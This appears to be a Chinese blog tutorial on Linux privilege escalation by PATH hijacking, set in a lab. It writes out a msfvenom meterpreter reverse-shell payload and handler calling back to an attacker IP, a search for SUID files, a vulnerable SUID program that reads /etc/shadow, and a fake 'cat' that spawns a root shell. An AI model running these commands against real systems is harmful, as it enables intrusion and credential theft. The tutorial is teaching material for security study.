操作系统权限提升之Linux提权-环境变量劫持提权
  TEZNKK3IfmPf 2023年11月12日 49 0

环境变量劫持提权

环境变量劫持提权原理

PATH是Linux和类Unix操作系统中的环境变量,类似windows中的path环境变量,当我们执行一个命令的时候shell会先检查命令是否是系统内部命令,如果不是则会再去检查此命令是否是一个应用程序,shell会试着从PATH中逐步查找命令,查看环境变量命令如下:

echo $PATH #查看环境变量

操作系统权限提升(二十一)之Linux提权-环境变量劫持提权

如果我们可以在环境变量中写入自己的环境变量,然后写一个自己的恶意命令,从而达到提权的目的

提权准备

假设管理员用户在/home目录下创建了一个demo.c文件,内容如下,执行查看shadow文件命令,setuid 规定了其运行用户,以root权限进行编译和权限设置

#include<unistd.h>
void main() {
setuid(0);
setgid(0);
system("cat /etc/shadow");
}

操作系统权限提升(二十一)之Linux提权-环境变量劫持提权

然后使用gcc进行编译

gcc demo.c -o shell

操作系统权限提升(二十一)之Linux提权-环境变量劫持提权

运行 shell 命令就是打开shadow文件

操作系统权限提升(二十一)之Linux提权-环境变量劫持提权

赋予shell文件SUID权限 chmod u+s shell

操作系统权限提升(二十一)之Linux提权-环境变量劫持提权

接下来就可以进行提权了

提权实战

首先上线机器

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=8888 -f elf > mshell.elf

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.105
set lport 8888
run

操作系统权限提升(二十一)之Linux提权-环境变量劫持提权

 

操作系统权限提升(二十一)之Linux提权-环境变量劫持提权

可以看到目前我们的用户是一个普通用户daoer的权限

接下来用命令查找SUID文件,发现一个shell文件被配置了SUID

find / -user root -perm -4000 -print 2>/dev/null

操作系统权限提升(二十一)之Linux提权-环境变量劫持提权

运行shell文件,发现是查看/etc/shadow的命令

操作系统权限提升(二十一)之Linux提权-环境变量劫持提权

那么我们劫持cat命令,达到提权的目的

echo "/bin/bash" > /tmp/cat
chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
/home/shell
whoami

操作系统权限提升(二十一)之Linux提权-环境变量劫持提权

提权成功

【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 2023年11月12日 0

暂无评论

推荐阅读
  TEZNKK3IfmPf   2024年05月31日   51   0   0 linux服务器
  TEZNKK3IfmPf   2024年05月31日   29   0   0 linux服务器centos
  TEZNKK3IfmPf   2024年05月31日   29   0   0 linuxbind
  TEZNKK3IfmPf   19天前   27   0   0 shell
  TEZNKK3IfmPf   2024年05月31日   39   0   0 linuxshell
TEZNKK3IfmPf